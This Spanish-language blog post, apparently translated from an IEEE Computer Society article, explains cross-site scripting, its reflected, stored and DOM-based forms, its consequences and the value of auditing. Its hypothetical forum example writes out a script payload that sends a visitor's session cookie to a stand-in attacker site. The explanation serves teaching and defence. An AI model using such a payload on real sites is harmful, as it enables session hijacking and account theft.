lunes, 11 de marzo de 2024

Comprender la amenaza de XSS (Cross-Site Scripting)

 Los ataques de secuencias de comandos entre sitios (también conocidos como XSS) son, estadísticamente , uno de los riesgos de seguridad de aplicaciones web más frecuentes y dañinos en la actualidad. Fue la vulnerabilidad más reportada a principios de 2023, y las vulnerabilidades de gravedad media (como mínimo) aumentaron exponencialmente a medida que avanzaba el año.

Estos ataques implican la inyección de scripts maliciosos del lado del cliente en páginas web, y un atacante a menudo se hace pasar por un usuario víctima que puede llevar a cabo acciones que los usuarios legítimos pueden realizar. Los atacantes a menudo eluden la aplicación y, por lo tanto, comprometen las interacciones que los usuarios tienen con esa aplicación.

Si bien los ataques XSS no siempre conducen directamente a una violación de datos, a menudo son partes fundamentales de los esfuerzos de reconocimiento de un pirata informático, abriendo las puertas a posibles ataques adicionales si no se abordan o contienen.

¿Cómo funcionan las secuencias de comandos entre sitios?

Los ataques XSS ocurren cuando se ingresan scripts y códigos no validados, maliciosos o "malos" en el navegador de un usuario. La inyección XSS se produce en un sitio web creíble, legítimo y, por lo demás, digno de confianza con una vulnerabilidad de seguridad conocida por el actor malintencionado, pero no por el propietario del sitio web.

Muchos propietarios de sitios ignoran los ataques XSS durante algún tiempo hasta que el navegador de cada usuario es atacado lenta y metódicamente. Un ejemplo de inyección XSS sería ver a un hacker ingresando código JavaScript dañino en un formulario de inicio de sesión que luego se muestra sin filtrar en una página web. Cuando otros usuarios cargan esa página en sus navegadores, el script malicioso puede acceder a datos confidenciales, cookies de sesión o credenciales de inicio de sesión personales, o redirigir el navegador a sitios maliciosos. En esencia, las vulnerabilidades XSS se reducen a un manejo inadecuado de los datos y una seguridad laxa.

Cualquier aplicación web que permita la entrada del usuario puede ser vulnerable, por lo que es crucial auditar los sitios web periódicamente para detectar vulnerabilidades, a menudo consultando a empresas de pruebas de penetración de terceros para validar todas las fallas de seguridad conocidas y poder remediarlas. Los atacantes pueden explotar incluso el más mínimo punto débil en una infraestructura empresarial, eludir los controles de acceso, explotar a los usuarios y comprometer los datos si tienen los conocimientos técnicos

Tipos de ataques XSS

Hay tres tipos principales de ataques de secuencias de comandos entre sitios:

XSS reflejado

XSS reflejado implica inyectar un script malicioso en una solicitud HTTP vulnerable. Si un usuario visita una URL construida por el hacker, entonces el script se ejecuta en el navegador del usuario en el contexto de la sesión de la aplicación de ese usuario, generalmente en forma de un enlace de phishing disfrazado en HTML. El código malicioso permanece sin almacenar y solo afecta a una sesión individual.

XSS almacenado

El XSS almacenado (también conocido como XSS de segundo orden) ocurre cuando una aplicación recibe datos de una fuente que no es de confianza y esos datos se almacenan para respuestas HTTP posteriores.

En otras palabras, los scripts maliciosos se almacenan en la aplicación web, generalmente ocultos de forma encubierta en una base de datos, publicación de blog, foro u otro elemento nativo, y cualquier usuario que visite o acceda a ese recurso es explotado a través de su navegador. Una inyección puede afectar a varias víctimas con el tiempo si se permite que ese guión impregne y se propague.

XSS basado en DOM

DOM XSS explota el código JavaScript vulnerable del lado del cliente en lugar de inyectar scripts en el lado del servidor. Por lo general, al volver a escribir los datos en el DOM, los datos que no son de confianza se procesan de forma insegura dentro de una aplicación.

Los scripts maliciosos se ejecutan como parte del JavaScript del lado del cliente al cargar la página en lugar de almacenarse permanentemente allí. Sin embargo, el resultado es el mismo: código malicioso ejecutándose en el navegador de la víctima.

¿Cómo son los ataques XSS?

Aunque un ataque no causa daño directo al propietario del sitio web, puede tener consecuencias nefastas para los visitantes de un sitio comprometido. Puede conducir a:

  • Redirecciones a sitios maliciosos y no seguros
  • Los navegadores fallan por completo
  • Robo de cookies activas y datos de inicio de sesión
  • Compromiso de cuentas y credenciales
  • Actividad fraudulenta utilizando información robada

Ejemplos notables incluyen los ataques XSS de British Airways y T Mobile que resultaron en la afectación de los datos de millones de clientes.

Para comprender cuán peligrosas pueden ser las fallas XSS, veamos un ejemplo hipotético:

Un hacker descubre un foro de un sitio web que muestra comentarios de usuarios sin ninguna codificación o validación de salida.

El atacante inyecta de forma encubierta un script como <script>window.location='http://hackersite.com?cookie='+document.cookie</script> en uno de sus comentarios que parece inofensivo.

Ahora, cada vez que un usuario cargue la página con este comentario, el script se ejecutará y enviará su cookie de sesión al servidor del hacker.

Al acceder a la cookie de sesión, el pirata informático puede secuestrar la cuenta de la víctima en la aplicación web.

El atacante podría publicar más comentarios con scripts maliciosos y explotar a más usuarios.

Este es un pequeño ejemplo de cómo pueden existir vulnerabilidades XSS en aplicaciones web que de otro modo parecerían inocentes.

Integraciones de terceros: la conexión de aplicaciones a través de API o complementos crea agujeros de flujo de datos adicionales que necesitan validación . El uso no supervisado y la falta de pruebas significan que estas integraciones pueden verse comprometidas rápida y fácilmente.

Es esencial realizar una auditoría proactiva de dichos vectores de amenazas en las propiedades web para evitar sorpresas en el futuro.


Fuente: Roller, J. (2024, marzo 6). Understanding the Threat of XSS (Cross-Site Scripting). IEEE Computer Society. https://www.computer.org/publications/tech-news/trends/understand-cross-site-scripting-threats/

No hay comentarios.:

Publicar un comentario

EDR versus MDR: diferencias clave y cómo elegir

¿Qué es la EDR? Endpoint Detección y Respuesta (EDR) es una tecnología de ciberseguridad que monitorea y recopila continuamente datos de dis...